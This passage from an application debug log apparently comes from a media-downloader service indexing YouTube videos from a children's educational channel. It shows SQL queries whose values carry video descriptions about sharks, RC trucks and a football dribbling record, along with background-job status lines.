fun with Ozzie's 10 Amazing Shark Facts Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and discover incredible facts about one of the ocean's most fascinating animals. From giant whale sharks to super-powered shark senses, you'll learn amazing things while singing along!\n\nGet ready to move your body, snap your jaws and sing along as we explore the wonderful world of sharks together.\n\nMusic helps us learn and remember new things. So jump in and discover why sharks are some of the most amazing animals in the ocean!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ Amazing shark facts\nβ€’ How sharks survive in the ocean\nβ€’ Why sharks are important for healthy oceans\n\nTopics kids will learn about in this video:\nβ€’ shark facts for kids\nβ€’ shark song for kids\nβ€’ sharks explained for kids\nβ€’ whale shark facts for kids\nβ€’ ocean animals for kids\nβ€’ shark learning song\nβ€’ sharks for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Sharks #SharkFacts #OceanAnimals #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "10 Amazing Shark Facts for Kids! 🦈 Better Than Baby Shark?! | Fun Shark Song with Ozzie", "c4a54654-137f-47fa-96bc-909ea52b5138", 154, false, "09vRWSe8Otk", "https://www.youtube.com/watch?v=09vRWSe8Otk", 18, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-08 - 10 Amazing Shark Facts for Kids! 🦈 Better Than Baby Shark?! | Fun Shark Song with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-08 20:00:37Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "🦈 Dive into an ocean of fun with Ozzie's 10 Amazing Shark Facts Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and discover incredible facts about one of the ocean's most fascinating animals. From giant whale sharks to super-powered shark senses, you'll learn amazing things while singing along!\n\nGet ready to move your body, snap your jaws and sing along as we explore the wonderful world of sharks together.\n\nMusic helps us learn and remember new things. So jump in and discover why sharks are some of the most amazing animals in the ocean!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ Amazing shark facts\nβ€’ How sharks survive in the ocean\nβ€’ Why sharks are important for healthy oceans\n\nTopics kids will learn about in this video:\nβ€’ shark facts for kids\nβ€’ shark song for kids\nβ€’ sharks explained for kids\nβ€’ whale shark facts for kids\nβ€’ ocean animals for kids\nβ€’ shark learning song\nβ€’ sharks for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Sharks #SharkFacts #OceanAnimals #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "10 Amazing Shark Facts for Kids! 🦈 Better Than Baby Shark?! | Fun Shark Song with Ozzie", 154, false, "09vRWSe8Otk", "https://www.youtube.com/watch?v=09vRWSe8Otk", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-08 - 10 Amazing Shark Facts for Kids! 🦈 Better Than Baby Shark?! | Fun Shark Song with Ozzie.mp4", false, 7, ~U[2026-07-08 20:00:37Z]] 13:17:01.780 [debug] QUERY OK source="sources" db=0.6ms idle=28.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.781 [debug] QUERY OK source="media_items" db=1.2ms idle=18.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-05 05:00:20Z], 7] 13:17:01.784 [debug] QUERY OK source="media_items" db=1.5ms idle=11.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Can Ozzie really ride on a mini RC truck float? Today we're going to find out, while exploring incredible diggers and RC little big rigs! 🚚🚜\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we discover amazing machines and go on exciting adventures together!\n\nCan you really ride on a giant remote control truck? Join Ozzie as we visit Little Big Rigs to explore incredible RC construction vehicles and find out!\n\nWatch powerful RC excavators dig giant holes, dump trucks move loads of dirt, and see if Ozzie can balance on an amazing ride-on RC truck. There are huge machines, awesome construction action and plenty of laughs along the way.\n\nIf you love trucks, diggers and construction sites, this is one adventure you won't want to miss!\n\nhttps://www.facebook.com/littlebigrigssydney/\nhttps://www.instagram.com/littlebigrigs.sydney\n\nKids will learn about:\nβ€’ How RC trucks and diggers work\nβ€’ Different construction vehicles and what they do\nβ€’ How teamwork helps build amazing things\n\nTopics kids will learn about in this video:\n\nβ€’ RC Trucks For Kids\nβ€’ Remote Control Trucks For Kids\nβ€’ RC Diggers For Kids\nβ€’ Excavators For Kids\nβ€’ Dump Trucks For Kids\nβ€’ Construction Vehicles For Kids\nβ€’ Big Rigs For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#RCTrucks #RCDiggers #ConstructionVehicles #OzzieForKids #EducationalVideosForKids #StayKeen", "Ozzie Rides on a Mini Truck! 🚚 RC Diggers & Little Big Rig Adventure for Kids", "78ff2e3b-e6a3-4207-b888-a9738c0614ab", 1257, false, "xbyEMxWTjgE", "https://www.youtube.com/watch?v=xbyEMxWTjgE", 19, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-05 - Ozzie Rides on a Mini Truck! 🚚 RC Diggers & Little Big Rig Adventure for Kids.mp4", false, false, false, 7, [], 98, ~U[2026-07-05 05:00:20Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "Can Ozzie really ride on a mini RC truck float? Today we're going to find out, while exploring incredible diggers and RC little big rigs! 🚚🚜\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we discover amazing machines and go on exciting adventures together!\n\nCan you really ride on a giant remote control truck? Join Ozzie as we visit Little Big Rigs to explore incredible RC construction vehicles and find out!\n\nWatch powerful RC excavators dig giant holes, dump trucks move loads of dirt, and see if Ozzie can balance on an amazing ride-on RC truck. There are huge machines, awesome construction action and plenty of laughs along the way.\n\nIf you love trucks, diggers and construction sites, this is one adventure you won't want to miss!\n\nhttps://www.facebook.com/littlebigrigssydney/\nhttps://www.instagram.com/littlebigrigs.sydney\n\nKids will learn about:\nβ€’ How RC trucks and diggers work\nβ€’ Different construction vehicles and what they do\nβ€’ How teamwork helps build amazing things\n\nTopics kids will learn about in this video:\n\nβ€’ RC Trucks For Kids\nβ€’ Remote Control Trucks For Kids\nβ€’ RC Diggers For Kids\nβ€’ Excavators For Kids\nβ€’ Dump Trucks For Kids\nβ€’ Construction Vehicles For Kids\nβ€’ Big Rigs For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#RCTrucks #RCDiggers #ConstructionVehicles #OzzieForKids #EducationalVideosForKids #StayKeen", "Ozzie Rides on a Mini Truck! 🚚 RC Diggers & Little Big Rig Adventure for Kids", 1257, false, "xbyEMxWTjgE", "https://www.youtube.com/watch?v=xbyEMxWTjgE", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-05 - Ozzie Rides on a Mini Truck! 🚚 RC Diggers & Little Big Rig Adventure for Kids.mp4", false, 7, ~U[2026-07-05 05:00:20Z]] 13:17:01.784 [debug] QUERY OK source="sources" db=0.4ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.786 [debug] QUERY OK source="media_items" db=1.2ms idle=6.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-01 14:00:28Z], 7] 13:17:01.790 [debug] QUERY OK source="media_items" db=3.5ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🚜🚚 Get ready to DIG, DUMP and DRIVE with Ozzie in this exciting RC Trucks & Digger Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and explore amazing remote control construction vehicles in action. Watch excavators dig giant holes, dump trucks carry heavy loads, bulldozers push dirt and more as we discover how these awesome RC machines work!\n\nGet ready to move your body, stomp your feet and sing along as we build, dig and drive through this exciting construction adventure.\n\nMusic helps us learn, explore and imagine. So grab your hard hat and join Ozzie as we discover the incredible world of remote control construction vehicles together!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ Different RC construction vehicles\nβ€’ How excavators, dump trucks and bulldozers work\nβ€’ Teamwork on a construction site\n\nTopics kids will learn about in this video:\n\nβ€’ RC trucks for kids\nβ€’ RC digger song for kids\nβ€’ Remote control construction vehicles\nβ€’ Excavator song for kids\nβ€’ Dump truck facts for kids\nβ€’ Bulldozers explained for kids\nβ€’ Construction vehicles for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#RCTrucks #ConstructionVehicles #DiggersForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "RC Trucks & Digger Song | Fun Video for Kids with Ozzie", "58e2b9a9-2f34-4b2a-be6b-031de7314762", 133, false, "RmzRu8mv9NU", "https://www.youtube.com/watch?v=RmzRu8mv9NU", 20, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-01 - RC Trucks & Digger Song | Fun Video for Kids with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-01 14:00:28Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "🚜🚚 Get ready to DIG, DUMP and DRIVE with Ozzie in this exciting RC Trucks & Digger Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and explore amazing remote control construction vehicles in action. Watch excavators dig giant holes, dump trucks carry heavy loads, bulldozers push dirt and more as we discover how these awesome RC machines work!\n\nGet ready to move your body, stomp your feet and sing along as we build, dig and drive through this exciting construction adventure.\n\nMusic helps us learn, explore and imagine. So grab your hard hat and join Ozzie as we discover the incredible world of remote control construction vehicles together!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ Different RC construction vehicles\nβ€’ How excavators, dump trucks and bulldozers work\nβ€’ Teamwork on a construction site\n\nTopics kids will learn about in this video:\n\nβ€’ RC trucks for kids\nβ€’ RC digger song for kids\nβ€’ Remote control construction vehicles\nβ€’ Excavator song for kids\nβ€’ Dump truck facts for kids\nβ€’ Bulldozers explained for kids\nβ€’ Construction vehicles for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#RCTrucks #ConstructionVehicles #DiggersForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "RC Trucks & Digger Song | Fun Video for Kids with Ozzie", 133, false, "RmzRu8mv9NU", "https://www.youtube.com/watch?v=RmzRu8mv9NU", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-01 - RC Trucks & Digger Song | Fun Video for Kids with Ozzie.mp4", false, 7, ~U[2026-07-01 14:00:28Z]] 13:17:01.793 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.796 [debug] QUERY OK source="media_items" db=3.0ms queue=0.2ms idle=9.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-27 14:00:13Z], 7] 13:17:01.806 [debug] QUERY OK source="media_items" db=8.6ms idle=12.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Can you imagine dribbling a football all the way from Canberra to Sydney?\n\nJoin Ozzie for all the day by day highlights on this incredible 7 day adventure as he dribbles a football for over 300 kilometres – achieving an official Guinness World Record!\n\nThis amazing journey took determination, teamwork, planning and a whole lot of kicking!\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we go on amazing adventures and learn through music, movement and real-life experiences.\n\nJoin Ozzie as we sing, clap, dance and celebrate an incredible achievement β€” dribbling a soccer ball an amazing 337.73 kilometres to set an Official Guinness World Record!\n\nThis unforgettable journey took determination, teamwork, planning and thousands of football touches. Along the way, Ozzie discovered that big dreams really can come true when you believe in yourself, work hard and never give up.\n\nSing along to the NEW World Cup Record Song and celebrate one of Ozzie's biggest adventures ever!\n\nπŸ† Official Guinness World Record\n⚽ 337.73 kilometre football dribble\nπŸ“ Canberra to Sydney\n\nPerfect for curious kids aged 2–10, this episode is packed with music, movement, inspiration and football fun.\n\nKids will learn about:\nβ€’ Determination and Never Giving Up\nβ€’ Setting Goals and Chasing Dreams\nβ€’ Teamwork And Staying Active\n\nTopics kids will learn about in this video:\n\nβ€’ Guinness World Record For Kids\nβ€’ Football Challenge For Kids\nβ€’ Soccer Song For Kids\nβ€’ World Record Journey For Kids\nβ€’ Perseverance For Kids\nβ€’ Goal Setting For Kids\nβ€’ Staying Active Through Sport\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#GuinnessWorldRecord #FIFAWorldCup #WorldCupSong #FootballForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "The 300km Football Dribble Record | ⚽ Official Guinness World Record + NEW Soccer Song w Ozzie", "16e7ddc5-26cf-4812-9098-b2561d11a583", 1203, false, "jEmWiQxH_8U", "https://www.youtube.com/watch?v=jEmWiQxH_8U", 21, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-06-27 - The 300km Football Dribble Record | ⚽ Official Guinness World Record + NEW Soccer Song w Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-06-27 14:00:13Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "Can you imagine dribbling a football all the way from Canberra to Sydney?\n\nJoin Ozzie for all the day by day highlights on this incredible 7 day adventure as he dribbles a football for over 300 kilometres – achieving an official Guinness World Record!\n\nThis amazing journey took determination, teamwork, planning and a whole lot of kicking!\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we go on amazing adventures and learn through music, movement and real-life experiences.\n\nJoin Ozzie as we sing, clap, dance and celebrate an incredible achievement β€” dribbling a soccer ball an amazing 337.73 kilometres to set an Official Guinness World Record!\n\nThis unforgettable journey took determination, teamwork, planning and thousands of football touches. Along the way, Ozzie discovered that big dreams really can come true when you believe in yourself, work hard and never give up.\n\nSing along to the NEW World Cup Record Song and celebrate one of Ozzie's biggest adventures ever!\n\nπŸ† Official Guinness World Record\n⚽ 337.73 kilometre football dribble\nπŸ“ Canberra to Sydney\n\nPerfect for curious kids aged 2–10, this episode is packed with music, movement, inspiration and football fun.\n\nKids will learn about:\nβ€’ Determination and Never Giving Up\nβ€’ Setting Goals and Chasing Dreams\nβ€’ Teamwork And Staying Active\n\nTopics kids will learn about in this video:\n\nβ€’ Guinness World Record For Kids\nβ€’ Football Challenge For Kids\nβ€’ Soccer Song For Kids\nβ€’ World Record Journey For Kids\nβ€’ Perseverance For Kids\nβ€’ Goal Setting For Kids\nβ€’ Staying Active Through Sport\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#GuinnessWorldRecord #FIFAWorldCup #WorldCupSong #FootballForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "The 300km Football Dribble Record | ⚽ Official Guinness World Record + NEW Soccer Song w Ozzie", 1203, false, "jEmWiQxH_8U", "https://www.youtube.com/watch?v=jEmWiQxH_8U", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-06-27 - The 300km Football Dribble Record | ⚽ Official Guinness World Record + NEW Soccer Song w Ozzie.mp4", false, 7, ~U[2026-06-27 14:00:13Z]] 13:17:01.807 [debug] QUERY OK source="sources" db=0.8ms idle=20.4ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], 7] 13:17:01.817 [debug] QUERY OK source="media_items" db=8.8ms idle=17.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 13:17:01.827 [debug] QUERY OK source="media_items" db=3.9ms queue=0.1ms idle=26.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 13:17:01.833 [debug] QUERY OK source="media_items" db=5.3ms queue=0.1ms idle=21.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [7] 13:17:01.834 [info] No notification servers provided for source 7 13:17:01.846 [debug] QUERY OK source="tasks" db=2.8ms queue=0.1ms idle=21.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2351, 7, ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z]] 13:17:01.851 [info] {"args":{"id":7},"id":2343,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":166559009,"event":"job:stop","queue_time":560401,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 13:17:13.400 [info] {"source":"oban","duration":12991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:19.229 [info] {"args":{"id":14408},"id":2349,"meta":{},"system_time":1788405439229456625,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:17:19.231 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1556.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 13:17:19.232 [info] User scripts lifecyle file either not present or is empty. Skipping. 13:17:19.234 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=1015.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", 